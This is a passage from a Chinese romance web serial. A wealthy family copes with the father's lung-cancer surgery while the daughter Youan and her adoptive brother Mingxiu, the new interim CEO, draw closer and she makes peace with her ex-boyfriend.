“是我想多了,我总爱把事情往坏处想,”尹晴捋了捋她的头发,“或者说,我私心希望你,永远是一个任性、长不大的小孩。这个世界,不懂事、爱哭的人,往往命好一些。” 柚安蹙眉,不大能理解这种心理,但眼眶微微泛湿。 “我小的时候,不就挺不懂事的?” “有吗?” “您失忆啦?” “没有。” 那更像是,过度敏感之下的过度自我保护。 尹晴没有戳破。 她朝四周看了看,“鸣修呢?” “他在八楼开作战会议。”林柚安放低声量,“似乎他要暂代CEO?” “你爸的意思,”尹晴纠结了会儿,出声问她,“你有没有不高兴?最近非常时期,他倚赖鸣修比较多,忽视了你。其实你爸这个人,有点不知道怎么跟你好好说话,特别是这种时候。昨天,本来打算跟你谈谈的,被大伯一家这么一闹,又给了他逃避的机会。” 林柚安笑道:“我没有不高兴啊,倚赖我,那公司成什么样啦?” 她耸耸肩,一副乐得轻松的样子。 很不幸地,没有多久便破了功。 沉默了会儿,一双手肘支在膝上,脸埋在手臂里,久久没有声音。 虽然这个想法逞强又不讲理,但她多想,这个时候,也有人能依靠依靠自己。 成长期的任性和叛逆,好像终于付出了代价,那铅般灌入全身的无力和愧疚感,沉得无法忽视。 “喂……”尹晴揉揉她的发顶,想要安慰,一抬头看到站在门边的林鸣修。 “鸣修——开完会了?” 林鸣修目光从柚安身上移开,对尹晴道:“官方文件发出去了,对爸的身体状况做了正面披露,以及暂时CEO的任命相关,也作了公开声明。明天我将开一个新闻发布会,正式说明这件事。另外,那些造谣的账号,也发出了律师函,后续将由法务部追责……看来爸没那么快出来。” “你别太辛苦。”尹晴说着,感觉到柚安的脑袋动了动,“鸣修,我想喝杯牛奶,劳烦你了。” “好。”林鸣修转身出门。 再回来时,林柚安已经若无其事地在沙发上坐好,听到脚步声,眼皮也没有掀一下。 林鸣修手上两杯热鲜奶,一杯递给尹晴,一杯放在林柚安身旁的茶几上,旋即走向门边,“我去手术室那边看看,活检报告应该出来了。” 尹晴连忙起身,“那我跟你一起去。” “您小心。”林鸣修扶住她,两人一起走出病房。 柚安迟了片刻,默默跟在了后面。 到手术室所在的楼层不久,林鹤堂就被推出来了。 人还没醒,带着氧气罩,面色灰败,像残年旧纸。 医生宣布手术结果:“肿瘤是恶性的,切除面积比预计要大,整片右上肺叶都被切除了,好消息是在切除的标体边缘,没有发现扩散的迹象。” 尹晴听到没有扩散迹象,大舒一口气,全副精力放在林鹤堂身上。 林鸣修继续与医生沟通,讨论后续治疗方案,柚安紧跟着他,耳朵都要竖起来。 “具体术后治疗方案,要等完整的病理报告,和基因检测报告出来。” “目前可知的是,左肺上叶还有一处比较大的结节,位置很深,以林先生目前的身体状况,不适宜一同切除,可以先服用靶向药加以控制,如果脱离控制开始恶化,可能需要做第二次手术。” “由于这次切除面积较大,恢复可能较慢。” “两年内,每三月进行复查随诊。” …… 几人一边交谈,一边步入电梯。 病人被安置到病床,呼吸平稳,血氧正常,林柚安感觉像久溺的人,终于能够浮出水面,呼吸一口氧气。 但是一想到那个“如果”,就像又被人按了下去。 如果恶化,如果扩散,如果另一个结节不受控制,如果靶向药没有效果…… 和“癌症”这两个字挂上钩,担心似乎永无尽头。 不多久,林鹤堂转醒,目光尚且昏蒙。 尹晴附在他耳边说:“手术顺利,没有扩散。” 林鹤堂点了点头。 医护人员进来检查,各项体征都很正常,这时候林鹤堂也稍微能够坐起来一点。 除医护外,尹晴坐在病床上,紧挨着他,一儿一女站在床边,几个亲信站在离床稍远一点的地方,年纪与林鹤堂相当,都是柚安在八楼见过的人,脸上俱是关切。 “杵这么多人干什么?都走,”林鹤堂下巴朝柚安和林鸣修抬了抬,“你们俩个也走,先去泊港,不用守着我。” 泊港公馆离医院很近,是最近才购置的,专为手术后续疗养和恢复,如需长期化疗,住在此处也比较方便。 柚安当然不同意,“要去也是妈回去睡觉。” 尹晴笑说,“你以为他叫得动我啊?” 柚安抿嘴,眉间拧着。 “去吧,”尹晴拍拍她,“晚上病房有专人二十四小时陪护,基本不需要我做什么。” 林鹤堂挥挥手,这个动作对他来说还有点吃力,喘着气,“快走。” 几个亲信问候后先行离开。 林鸣修动身说:“局面尚且可控,您好好休息。” 林鹤堂点头。 林鸣修又看向柚安,“走吧。” 柚安将视线瞥向别处,僵持了会儿,最后还是跟着林鸣修走了。 极度紧张的情绪一旦松懈下来,全身便如同虚脱,没有一丝力气。昏着眼,凭直觉跟随着前方节奏规律的脚步,忽忽悠悠来到地下车停车场。 不是林鸣修常开的路虎,一辆极低调的黑车,车门打开,里面放着一份外卖,外卖袋上的店名是柚安钟爱的那家云吞面店。 林鸣修:“让Kim跑了个腿,看你晚上没吃什么,趁热吃。” 亏他打仗的间隙,还惦记着自己没吃东西,柚安被脸颊涌上的热意熏地瞬间清醒,但仍是没作理会,径直坐上副驾。 林鸣修坐进驾驶座,系上安全带,云吞面放在中间的置物台上,袋内氤氲着热气。 “真的不吃?” 柚安将脸转向另一边,视线瞟向窗外。 沉默半晌,油门没有启动,她听见“咔哒——”一声,转头一看,林鸣修解了自己的安全带。 “那你开车。” “……” 柚安没忍住纵了眉头。 “你开车,我吃面。”林鸣修不咸不淡地重复了一遍,单手搭在方向盘上,侧头等她。 僵持片刻,柚安咬着后槽牙,解安全带下车,忍着困意,一脚油门将车启动。 十分钟的路程,封闭的车厢内,云吞面的鲜香气味将她五脏六腑统统唤醒,吃那么多次,居然没有一次发现它这样香。 胃里的馋虫不管不顾地发出抗议,柚安一路祈祷,希望林鸣修专心吃云吞,没听到那连绵不绝的“咕咕”声。 第25章 “叫哥哥,就教你。”…… 泊港公馆周围绿化极好, 人少幽静,私密性一流。 独立的两层小楼被庭院外围一圈松柏包围,六月绿树成荫,郁郁葱葱, 几乎要将小楼淹没。 面积远不如夏山郡, 但也五脏俱全。 此刻还没有佣人进驻, 但是每个房间都已打扫布置完毕。 林鸣修带柚安去二楼卧室区, 除了主卧, 其他三个房间让她选。 柚安选了最靠近主卧的一间,收拾好东西, 将胡桃夹子玩偶擦了擦,放在床头, 才发现这间好像是林鸣修为他自己准备的。 因为床头放了几本金融学,和企业管理方面的书, 俱已被翻旧。 床品的颜色也是他平时惯用的深棕色, 整个房间色调统一暗沉, 一什一物洁净规整, 和他给人的感觉很像。 林鸣修已经不见踪影, 他没有提出异议,柚安也就懒得换了。 洗了个澡, 换身睡衣出来, 半躺在床上, 时针指向一点。 捞过手机,开机看了一眼,未读消息的数字超出想象。 其中轰炸最为猛烈的,是大伯母和三个堂哥。 林鸣修暂代CEO的官方消息一放出来,他们一家怨声载道, 发来的消息七弯八拐,绕不过林鸣修是蓄谋已久,欺哄着林鹤堂得到的权利这件事。言下之意,他们再不联合起来发起行动,家产就要被那个外人侵吞光了。 柚安面无表情地一滑到底。 关机,睡觉。 房间安静地要命,脑袋昏昏沉沉,越想清空思绪,好好睡一觉,越是睡不着。 索性随手拿过床边的书,翻起来。 是少时最抗拒的科目,充斥着各色冰冷的专有名词,看这种书,最容易入睡了。 半页都没看完,果真开始走神。 她想起在八楼会议室时,也是听到这样晦涩难懂,又叫人焦虑烦躁的话术,你来我往的交锋叫人皮质醇不断攀升,她待在那里毫无用处,却没有走开,反而努力逼自己听懂。 究其原因,大概是一种身为林鹤堂女儿的责任,让她觉得,应该待在那里吧。 当然,后面被林鸣修夺去注意力的半小时除外。 肩膀好沉。 她失意的人生还没有完全好起来,又被突如其来的变故压上沉重的责任。 是的,没有人认为这个对家族生意一窍不通的女儿能够承担什么责任。 但她自己不能。 人在经历了一整天提心吊胆,又在深夜失眠的时候,总爱胡思乱想,企图抓住些什么,如溺水者之于浮木。 譬如,如果从现在开始“懂事”,能不能挽回些什么,能不能交换父亲的健康,让愧疚感少一点点。 于是她重新专注于书本,努力想把文字吃进去。 从前为了抗拒这些东西,闹得天翻地覆,现在又企图从中得到丁点救赎。 然而终究是徒劳。 时针指向两点,她彻底无心睡眠。 抱着书下床,趿着拖鞋走出房门。 走廊幽静,一线微光从某一间房门缝隙透出来,柚安怔了怔,朝那个方向走去。 门没有锁死,她轻敲房门,推门而入。 猜得没错,这间正是林鸣修的书房。 主人坐在桌前,带着金丝眼睛,面前的电脑屏幕荧光闪烁,澄黄灯光将他洗过未干透的短发镀了层柔金色。 听到声响,他目光越过屏幕,见柚安抱着本《期权波动率与定价》站在门口,眼中焦急与疲惫交织翻涌。 她穿着一件白色背心睡裙,没有繁复的装饰,剪裁合衬,像道初凝的月光,好像眨眼就会消失一样。 林鸣修看了眼时钟,眉弓一抬,好像在问“几点了,这个时候要干嘛”。 柚安几番挣扎,终是开口:“能不能教我?” 还以为这家伙能冷战多久。 没出息啊,林鸣修在心中笑她。 柚安眼观鼻,鼻观心,等在那里。 林鸣修嘴角勾了勾。 “叫哥哥,就教你。” “……” 柚安紧抿着唇,一下子想起昨晚被他逼至门上,被要求叫一声“大哥”的情景,脖颈飞速升温,红至耳根。 林鸣修并没有昨天的强势,也许他也很累了,但是嘴角始终咬着一丝玩味的笑容。 不知僵持了多久,柚安干脆走到桌前,将书往桌面一拍,径自拖来一把椅子,往他对面一坐—— 教与不教随意,反正她睡不着,可以耗上整晚。 林鸣修抬指锁屏,看向她。 “真要学?” “嗯……”柚安避过他的目光,其实不确定,但难道要说,她实在不知道还能做什么了吗? “我不能,什么都不懂。” 她终于开始理解,也许林鹤堂当初逼她学金融,学企业管理,出席各种交际应酬,并非全是为了将四海这艘巨轮寄托在她身上,而是为了在这种时刻,手握比任何同辈股份都多的她,不会什么都不懂,一副好摆布的样子。 “你……有空吗?”她心下惴惴。 林鸣修轻笑,“坐过来。” 顺势将办公椅往里挪了挪,让出位置。 柚安很干脆地将椅子挪过去,从对面坐到了他身旁。坐下的瞬间,幽幽一抹香气弥散过来,浅浅淡淡,有点像尹晴爱摆在床头的小百合,林鸣修下意识屏息。 “吃不吃甜的?”他问。 “?”柚安拧眉。 但是不得不说,他真的很懂得什么能让她无法抗拒。 没等她回答,林鸣修起身走向门外。 厨房没有别的食物,考虑到有什么能哄父亲生病,心情不好就不想吃东西的女生,他便着人备了些甜食放在冰箱里。 从冰箱里拿出来两个菠萝油,复烤两分钟后拿上楼,一人一只。 菠萝油酥皮的香气溢满房间,被林鸣修咬一口后,露出里面的黄油流心,路过面包店闻到的那种,能把人引诱入店,大买特买的香气,谁能把持得住? 柚安内心一番挣扎,最终宣告放弃。 拿起一只菠萝油咬了一口,眼看流心淌出来,快要脏到手,急忙又补一口,鼓鼓囊囊一张脸,努力地嚼,像只愤怒的松鼠。 林鸣修翻着《期权波动率与定价》,余光瞟到,心里很想笑。 “吃完了就开始教吗?”柚安语焉不详地问。 “不啊。” “?!” “不是说了,叫哥哥才教吗?” 林鸣修气定神闲,细细咀嚼,而后端起咖啡啜饮。 松鼠气得脸都涨红,张了张嘴,终是喊不出口,眼眶都涨红了。 趁被棋盘砸的悲剧没有重演,林鸣修开口:“你先吃,我看看能教你些什么。” 柚安继续愤怒地吃菠萝油。 这本书里的东西需要一定先识课程才能懂,不适合没有任何基础的小白。也许她更需要具体的东西,譬如公司的期权机制、董事会架构、还有那些盘根错节的内部派系…… 只要她想知道,他将知无不言。 思忖着这些时候,蓦地感到空气安静下来,扭头一看,盛菠萝油的盘子已经空了,柚安趴在桌上,睡得好香…… 林鸣修:…… 他站起身,合上《期权波动率与定价》放到一边,垂眸注视,见她肩背一起一伏平静规律,像是一时半会儿不会醒了,便伸臂将她抱起,走回卧室。 她轻得像一朵云,毫不费力。 将她放到卧室的床上,盖上被子的时候想起来,他在这张床上睡过几次,不由地呼吸一滞。 那刹那,没有办法不心旌荡漾。 无数冲动如暗潮般沉浮,所幸诸如此类的经验很多,他深谙如何克制。 最终,他替柚安掖好被子,起身离开。 又过了数秒,床上的人睫羽轻颤,眼睛缓缓睁开一条缝,见人已离开,这才轻舒一口气。 她抓着薄被边缘,心绪如春潮带雨。 被抱起的刹那醒了,不知道为什么,她不敢睁眼。 感觉到林鸣修的手臂极有力量,挨着他的胸膛,她心脏猛撞,然后她听见他说:“你再重点就好了。” 周围静极了,视觉被禁锢,低沉暗哑的嗓音显得无比贴近,烫红了她耳畔。 那语气,分明有丝缱绻味道。 仿佛浮在云端,昏昏然的。 过了一会儿,身体落在柔软的床上,冰丝薄被盖在身上,冰凉又贴肤的触感,加剧了这种昏昏然。 他一时还没有走,浮于面颊之上的鼻息,如轻薄的晨雾,他在想什么呢?. 第二天,他们吃过早饭后,开车前往养和医院。 林鹤堂在病房里换药,门锁着,尹晴也不让陪同。 林鸣修便先去八楼,跟高管商量新闻发布会的事宜。 柚安陪尹晴等在门外。 尹晴忿忿:“换个药还把我赶出去,昨天夜里入厕也是叫护工扶,洗手间的门锁得死死的,越老越矫情。” 柚安笑得乐不可支。 “那不是有形象包袱吗?哎哟,老夫老妻也有形象包袱啊。” 少时,她总觉得父母只生她一个,难免对她寄予不切实际的期望,要求她事事优秀,她还要时不时承担“林家的独生女太不争气,难挑大梁”的流言蜚语,因此一度抑郁。 后来“不争气”久了,也就释怀了,现在想起来,还蛮骄傲的。 没有哪个豪门不是子嗣充盈,内斗如九子夺嫡,老婆情人共存也不是什么新闻。 尹晴身体不好,只生了她一个,林鹤堂没有给夫人生育压力,也没有在外面搞出私生子,对妻子忠贞爱护至此,难道不值得作女儿的骄傲吗? “塞我一嘴狗粮……”柚安不怕死地揶揄。 尹晴气得拧她。 她捂着胳膊跑开,靠在门边的墙上,下意识瞥了眼电梯厅的方向。 面板上的数字停留在“8”。 就在即将收回目光的刹那,一个向下的箭头出现,并开始闪烁。 柚安的心跳无端地加快了几分。 那箭头不知闪到第几下,病房的门先开了。 “你爸终于换完药了。”尹晴将她手臂一挽,走了进去。 第26章 再多陪我一下吧 病房井然如常, 林鹤堂换过药之后,没休息一会儿就要下床走动。 尹晴嗔他太过好强,但他也躺了将近一天了,医生也说适当走动对病人有好处, 她便没有阻拦。 柚安主动上前搀扶, 两人走在七楼的廊道上, 廊道居然那么长。 他俩一直没有机会长谈, 从前叛逆时期, 两人就像火药,都不用点, 见面就爆炸。这次归家之后,柚安虽有所收敛, 但对父亲依然敬而远之,心里的结像是纠缠了八百年的数据线, 堵塞郁结成一团。 林鹤堂扶着沿墙环绕的扶手, 另一只手被柚安搀扶。 重量压在柚安手里地瞬间, 身体跟着一沉, 那团团淤积的心结在胸腔迅速膨胀。 她开着玩笑打破沉默:“您说我现在开始念商, 还来不来得及?” 林鹤堂皱眉,心里微微涌起一种, 她要去祸害公司的恐惧感, 拧眉问她:“为什么?” 玩笑失败了, 父女的频率永远有差,柚安讪讪地说:“就是,说个笑话,想让您开心开心,那个, 爸……” “怎么了?” “我现在开始听话,还来得及吗?”没头没尾地,她问出堵在胸腔的问题,“来得及当一个合格的,林鹤堂的女儿吗?” 话说完,鼓起全部勇气看向林鹤堂,只觉得一夜之间,他老了十岁不止,身体的损伤非常直观地体现在面色上,饶是他再不服老,也掩盖不了。 柚安瞬间鼻酸,赶紧收敛目光。 林鹤堂满是疑惑,“谁说你不合格了?谁敢这么说你?” “您觉得呢?”她眼睫扑扇两下。 没有人敢跟她这么说,但下意识里,她总顶着一个“不合格”印章,落章的,大概是林鹤堂无数次失望愤怒的眼神。 “我从来没有这么想过,即便你打唇环那会儿,也没这么想过。”走廊走到底,林鹤堂停下来,手撑着扶手,“哪有做父母的,会出一套标准判断儿女合不合格?就算有,你也远在合格线之上。” 柚安不信,瞧着父亲,仿佛在问: 合格线在哪里?东非大裂谷吗? “你,咳咳——你的歌那么好听。”林鹤堂不太习惯说这种话。 真心夸奖女儿的话,怎么也会硌得嗓子疼?员工大会上号令千军万马,谈判桌上激烈交锋,都不曾有过这样的紧张。 喘匀呼吸之后,他继续说道:“那时候,在电视上看到你,我很骄傲。要不是你不愿意公开身份,我真的想让全世界都知道,你是我林鹤堂的女儿。” “真的?” “千真万确,我很庆幸当初没有强行送你去念商科。你很小就抓准了自己的天赋,顶着那么大的压力没有放弃,做到这样,已经是人生赢家了。” 柚安吸了吸鼻子,终于忍不住,大滴的眼泪落下来。她以为林鹤堂永远对她上不了台面的爱好,和不成气候的事业嗤之以鼻,七年的辛酸随着这句嗓音沙哑的认同流淌而过,变成灼人的岩浆,烧得她心口剧痛。 “那后来呢?我出了不好的新闻,退圈了。”她哽咽问道。 林鹤堂看着她急切的眼神,不禁失笑。 半晌,说道:“那算个屁呀!” 年龄阅历的巨大落差之下,淹没柚安的大江大海,放在林鹤堂的脚下,只不过是条不起眼的溪流。 更别提那折磨她许久的单向恋情。 放在此刻,竟觉得说都说不出口。 她想起曾经看过的一场舞蹈演出,最后一幕,层层轻纱落在舞者身上,那看起来毫无重量的东西,慢慢将身姿灵活的舞者淹没,埋葬。 现在,她就好像那名伏地的舞者,只不过镜头倒放,身上的轻纱慢慢被抽走,有种身处真空的轻盈感。 她终于哭起来,彻底不顾形象。 挣脱压在身上的最后一层轻纱,她哭着对林鹤堂说:“我一直在想,一直在想,是不是小时候的叛逆,还有后来的一堆破事,把您气出病来的,不然您这么自律克己的人,怎么会得癌?” 林鹤堂眸光轻颤,拍拍女儿肩膀,“憋很久了吧?” 然而他的每一个动作,每一句话都成了加剧柚安情绪失控的砝码—— 她哭地更凶了。 碰在一起说不上三句话的父女,陷入这样的局面,还是头一次,林鹤堂又心疼又窘迫,像手里捧了个棉花糖,不得不看着,又好怕它化了。 各种情绪像洪流开闸,柚安哭到气喘,边哭边诉说委屈。 柚安:“我没跟那个老头怎么样!我没失德!” 林鹤堂:“那当然了。” 柚安:“我没打过唇环!那个是夹的!” 林鹤堂:“……哦啊。” 林鹤堂看着女儿苦笑,他一直以为柚安没心没肺,胡闹任性,此时此刻反倒希望,她是真的没心没肺。 无措之中,扫到不远处推着轮椅,正在待命的林鸣修。那一刻,林鸣修推着的不是轮椅,而是茫茫大海上的救生船。 于是,就在柚安哭到天昏地暗之际,蓦地听到林鹤堂喊了一声“鸣修”。 哭声戛然而止,天地瞬间安静,只有脚步声,由远及近。 “林柚安丢脸记录仪”还真是从来不缺席任何一个丢脸的场合。 她这才反应过来自己有多失态,羞愤难当之下,索性将脸一捂,面对着墙角蹲下,一副拒绝全世界的姿态,等待他们自觉走开。 林鹤堂坐上轮椅,朝林鸣修投去一个“怎么办”的眼神。 林鸣修说:“等她哭完,自己就好了。” 在处理破碎的女儿这件事上,林鹤堂的情商远不如尹晴。 他真就笔直地坐在轮椅上,等着。 他不走,林鸣修也只有一块儿站着。 一站一坐两尊雕像。 随着啜泣声渐小,空气逐渐安静,这就是所谓的社死吧。 柚安正生无可恋,忽闻一大批脚步声靠近。 原来是公关团队下来请示等一下发布会的事宜,见林鸣修父子肃穆地看着蹲在墙角的大小姐,活像两头狼正在试图哄一只瑟瑟发抖的小白兔。 场面极度安静,一群人谁也不敢打破这诡异的气氛,只能严肃地矗立在旁,同董事长和CEO一块儿行注目礼。 最后,是花白头发的主治医生看到一群黑西装人士,默哀似的围在一起,便上前告诉林鹤堂该去做呼吸训练了,这才让一行人解散。 林鹤堂朝着柚安张了张嘴,却不知道该说什么,转而对林鸣修说:“这里交给你了。” 林鸣修点头。 林鹤堂随医生回病房,林鸣修先是同高层说完该说的事,将人撤走,再看柚安,后者还老老实实蹲在角落里。 他上前一步,裤腿向上一提,屈膝蹲在柚安旁边。 “干嘛?”柚安双手下移,露出一双不耐烦的眼睛,示意他别管自己。 林鸣修一条腿屈起,膝盖触地,比柚安缩成一团的蹲姿要高。 他的视线微微向下,看着柚安,沉默着没有说话。 就在柚安的不耐烦将要爆发的时候,他抬臂,手掌触到她的发顶,摸了摸。 分明进犯了安全距离,却温柔地叫人无法拒绝。 柚安睫毛轻颤,像被打湿的,蝴蝶的翅膀。 一张纸巾落到她手里,下一秒,林鸣修起身走远. 林鹤堂做完呼吸训练,医生做了简单评估,说他恢复地还可以。 被柚安这一闹,他术后昏沉衰败的身体,竟莫名感到松脱,甚至愉悦。 是以听过林鸣修关于新闻发布会的汇报后,他决定亲自主持。 地点就在医院的八层,某一间会议室改造成了发布会现场,全程以直播的方式的进行。 董事长在直播镜头前说明自己的身体状况,当然避开了“癌症”之类的词语,宣称是普通的肺部结节手术,术后一切正常,但需修养观察一段时间,其间所有工作,由义子林鸣修暂代。 化过妆后,林鹤堂的状态看起来依旧轩昂,他昨天才进行过手术,没有公关团队为他准备讲稿,全程即兴,却字字有力,挥洒自若。那些有关他病重,甚至已经逝世的谣言,也不攻自破。 之后,林鸣修也作了发言。 作为暂代CEO,他的发言镇定从容,掷地有声,就连作为门外汉的柚安听完,也觉得像是吃了一颗定心丸。 身体状况不允许久留,林鹤堂说完发布会自己的内容,便回了病房,剩下交给林鸣修。 发布会结束后,紧接着是四海的内部员工大会,林鸣修与几个高管先后演讲,全体员工线上聆听。 柚安站在摄像机后面,最开始林鹤堂发言,宣布暂时CEO时,她想到《狮子王》里,狮王木法沙在荣誉石上举起幼年辛巴的场景。 当林鸣修走上前台,被托举的幼狮一下子变成了成年的雄狮。 站在风暴的中心,他有着超越年龄的沉稳和庄严,足以震慑躁动的狮群。 三个小时后,员工大会圆满结束,在场众人皆松了一口气,西服笔挺的高管们瘫坐在椅子上松领带,公关部成员相约喝酒庆祝。 更多的人则是围向林鸣修,表达对这位年轻领袖的看好。 后者只是对身边人稍作交代,便径直下台走向柚安。 “我以为你跟爸一起去病房了。” “有点好奇员工大会是怎么样的。” “现在看到了,怎么样?” 柚安耸肩,“PU地一手好A。” 林鸣修笑了声,随手松了松领带。 两人边走边说,一起往电梯厅走。 等电梯的时候,不远处有护士低声讨论:“他们兄妹俩站在一起好养眼啊!我都可以脑补出一部电影了!” 声音飘到柚安地耳朵里,她余光去瞟林鸣修,正好撞见他看过来。 目光相触,立刻错开,都有点不好意思。 下到七楼后,柚安先去了趟卫生间,从卫生间回来,往走廊尽头的病房走,远远就看到林鸣修靠在病房外的墙上。 他双手抄在西裤口袋里,西服敞开着,领带松散地挂在脖子上,里面的白衬衣敞开了几颗纽扣,头微微后仰,好像正在享受这难得而短暂的轻松时刻。 就连洒在他身上的夕阳余晖,都显得很温柔。 柚安这才发觉,刚才在八楼,所有人都松懈庆祝之时,唯有他仍保持仪态庄严。 思及此,脚步不自觉轻了几分,不忍打扰。 走到病房门口朝里看了眼,林鹤堂半躺在床上,正和尹晴说话,低声细语,怪亲密的,难怪林鸣修没有进去。 柚安刚想抬脚迈入,忽听尹晴问:“听说刚才柚安哭了,还哭得很厉害?” 她瞬间红温,全身紧绷起来,祈祷林鹤堂帮她遮住这桩糗事。 然而在这方面,父女俩的雷达隔着天堑。 只听林鹤堂详详细细,一字不落将两人的对话讲给夫人听。 激动时语无伦次说的话,被如此复述出来,听得人脚趾抓地,与听指甲划黑板没有什么两样。 柚安在父亲那张永远沉着冷静,不怒自威的脸上,第一次看到了困惑。 当听见他问尹晴:“我没说错什么话吧?上一次见她哭得昏天黑地,是三岁还是四岁?”她已经彻底放弃思考。 夕阳浓稠,流金般流淌在墙面。 林鸣修微微睁眼,先是看到墙上映射出的,两具相贴的影子。 一掀眼,柚安的身影出现在面前,逆光而站,被巨大的暖橘色笼罩,发丝泛着层金色的光晕。 她面向病房,侧身对着他,小巧的耳朵红透,耳廓肌肤薄到可以看清下面细小的血管,那表情一看就是宕机了,令人想到动漫里的蚊香眼。 林鸣修微不可察地笑了笑,心下涟漪浮动,身体却疲累到脱力,矛盾难耐。 连日紧绷,他累到眼皮都不想再动了,原来强顶压力,是这种感觉,若不是此刻心潮荡漾,还以为自己的心,已经枯成石头。 他半阖着眼,任由疲惫翻涌,心头充盈着某种难言的情绪。 多待一会儿吧,他心想,再多陪我一下。 第27章 再禁欲的一张脸,也藏不…… 林鹤堂在养和医院住了一周, 接着住进泊港公馆。 医生根据基因检测结果,帮他制定了适合的靶向药,恢复的同时,密切关注另一个结节的情况。 媒体稍有松懈, 柚安时而回夏山郡居住, 那里离Echoes&Elixirs近, 方便她进出。 Echoes&Elixirs一切如常, 她花了些时间听阿谨汇报, 而后阿谨去了前场,她独自在后场办公区翻看流水。 办公桌上摆了一大捧黄玫瑰, 花瓶下面压着张卡片,上面写着“对不起”, 落款“黎燃”。 柚安瞧着玫瑰,几番深作呼吸, 终于下决心给黎燃拨去电话, 请他到店里来坐。 将近黄昏, 酒吧还没有开始营业, 整个场子都很安静。 柚安准备了黎燃爱喝的调制酒, 伏特加为基酒,加入西柚汁、接骨木花糖浆和姜汁汽水, 表面撒有微量海盐, 很适合夏季。 他留海长出来一些, 耷拉在眼睛上方。 柚安最想念的是他笑起来,总有种肆无忌惮,天塌了都不怕的感觉,但明显地,此刻只剩下用力伪饰的平静。 黎燃知道她们家的情况, 一开口,自然是关心在先。 “我爸过几天会飞过来看望伯父,有什么需要就开口,用得上我的地方,我随时帮忙。” “谢谢你。”柚安轻声说,随后垂眸,思忖着如何开口。 不欢而散之后的首次见面,免不了有一方要道歉。 “对不起。”黎燃率先开口,“那天酒醒之后,我就知道话说过了,错的明明是我……我真的太过了。” “不,不是的。” “其实那个女人我认识,在派对上有过几面之缘,但是记不住对方的名字。我从来没酒后乱性过,完全不记得发生过什么,事后也只想起这些。” 黎燃低下头去,胡乱拨了把头发,眼圈乌青着,看得出这些天,没有好过到哪里去。 他总是一副玩世不恭的态度,不免会让人以为,在性|生活方面也很开放。没想到这方面的道德感,比看起来要重得多。看他这样,柚安更加觉得林鸣修不是个东西。 “这不关你人品的事,”她几分急切,自觉有义务告知他真相,“那个女人,是被人雇来,故意搞你的,照片也是故意照下来,刺激我的。你不想想,一夜情这种事,怎么会有人摆机位拍照呢?至于断片,我猜可能是被下了药。” “对不起。”她心想,都是因为我。 黎燃震惊无比,一时说不出话来。 绞尽脑汁也想不出自己得罪过什么人,要这样搞他。 “那人是谁?你知道是吗!” “我查到的东西有限,”柚安敛眸,“总之跟你没关系,是冲着我来的。” “冲你?那你……有没有什么变态的追求者?”黎燃面露担忧。 “没有。”柚安连忙说,“……没有吧。” 这些天来,想到林鸣修做的这件事,她还是会在深夜从床上坐起,骂一句“变态”。除了事情本身的恶劣,也因为他背后的手段,跟他在人前的行径,跟他对待自己的温柔包容,实在太割裂了。 柚安从一开始就知道他是演员,但他演的每一场戏,她都能够想到动机,只除了这一件。 当晚,她与黎燃聊了许久,矛盾说开,他们还是有很多共同话题。从对此人的诸多猜测,聊到近况,再到音乐,和最近的演出……原来黎燃准备签约港城最大的唱片公司出道。柚安很替他开心,还怂恿他上台唱了两首歌,算是度过了一个欢声笑语的夜晚。 可是由始至终,谁都没有提起复合的可能性。 尽管误会已经解开,仍旧彼此默契地缄口不谈。 仿佛心照不宣地达成了某种共识—— 不管这件事发生与否,他们都不会以恋人的关系开花结果。 黎燃离开已是深夜,柚安也开车回夏山郡。 已经做好一个人守空房的准备,一进门,还是从管家口中得知,林鸣修回了。 柚安说声“知道了”,随后上楼,心说这种事不必告诉我的,但是路过林鸣修书房的时候,还是不经意往门底的缝隙瞄了一眼,一线微光从那缝隙处透了出来。 她停住脚步。 没有办法心安理得回到自己房间,更没有办法忽略掉他的所作所为。 风暴暂歇,潮水褪去,总有东西会遗留在沙滩上,并慢慢探出头脚。 轻敲了两声,将房门推开一线。 林鸣修正伏首在一堆文件之中,昏黄灯光映出他眼下的浅青色,显得脸色愈发苍白。 闻声,他眼皮掀了掀,依旧是八风不动的冷淡神色,却无端显得疲惫而单薄。 自林鹤堂入院,四海的股价一直动荡,大伯一家对自己的狂轰滥炸尚令人头疼,遑论对林鸣修的动作? 按照原本的轨迹,林鸣修至少还有二十年的时间为这一刻作准备,林鹤堂突如其来地一病,大手一挥将他提前推到风口浪尖,无异于将失怙的小狼丢到野兽环伺的丛林,让他站在人人觊觎的高位,成为活靶子,其压力可想而知。 “怎么了?”林鸣修隔着书桌问。 柚安悄悄攥了攥拳,将心中的些许不忍前行收起,“不是说要教我?还算数吗?” “打算叫哥哥了?”林鸣修将文件夹推到一边,神色稍有放松。 柚安自知莽撞冒犯,不经允许就推门而入,在他深夜伏案的时候提出荒谬的请求。然而他总是容忍,有求必应,因而她的冒犯,也一次比一次故意。 她绕过书桌,走到他身边,双手撑着办公椅的把手,倾身逾越安全距离,似笑非笑地看住他。 眼中凝着深黯的颜色,像诱人深陷的潭水。 “叫哥哥就教我吗?” 第一次如此近距离地直视林鸣修,她发现,再禁欲的一张脸,也藏不住某些生理性的破绽。 譬如此刻,他脊背紧绷,贴紧了椅背,脖颈一道青筋慢慢爬出来,耳廓也渐渐红起来,在那张白皙冷淡的脸上,显现出不和谐的涩感。 再靠近一步,抬手将他的眼镜取下来。 “你的眼镜有度数吗?”她作势要戴在自己脸上。 没有那一层镜片的阻隔,她的进攻更加肆无忌惮。长久注视他的眼睛,就像那天在天台上,他摸着猫问她和黎燃在一起,是否真的幸福时一样。 那个时候,他怀着事先就知道的答案,长驱直入地审视她。 而现在,换她拥有这份复仇的快感。 两相对峙,有秘密的人先慌神。 这是必然的,林鸣修深埋已久的秘密,已被柚安摸索到了门前,他设计了重重的机括关卡,而她本身就是密码。 面对城池即将被攻破,他的反应是眸色更冷,一手扣住柚安手腕,另一只手不由分说地将眼睛夺回来。 然而那一刹的慌神,还是被柚安捕捉到了。 隐秘的快感并没有因此而扩大,反而在就要触及到真相之前,她本能地撤了回来,带有些逃避性质地退出了过分亲密的距离。 “好累啊,我睡觉去了。”她转身,大步走出门去。 林鸣修没有看她,等到关门声过去许久之后,才兀自地说:“林柚安,你真的很怂。” 至此,柚安大半个月都没有再见到林鸣修。 不管是在夏山郡,还是在泊港公馆。 林鸣修忙得天昏地暗,港城深圳两边跑,根本见不到人,少数他回家的日子,也因作息差而错过。 关于他的消息,有一部分居然还是从媒体上得到的。 